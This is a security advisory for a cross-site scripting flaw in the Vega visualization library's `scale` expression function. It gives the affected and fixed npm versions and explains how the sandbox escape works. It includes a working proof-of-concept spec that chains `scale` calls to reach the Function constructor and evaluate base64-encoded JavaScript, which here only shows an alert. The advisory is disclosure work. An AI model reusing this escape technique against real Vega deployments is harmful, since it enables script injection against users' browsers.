GHSA-4vq7-882g-wcg4 Vega Expression Language `scale` expression function Cross Site Scripting

• npm vega-functions: < 5.13.1 → fixed in 5.13.1 • npm vega: < 5.23.0 → fixed in 5.23.0

Summary The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. Details The scale expression function passes a user supplied argument `group` to getScale, which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`. PoC The following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);` ```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "data": [ { "name": "XSS PoC", "values": [1], "transform": [ { "type": "formula", "as": "amount", "expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})" } ] } ] } ``` This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA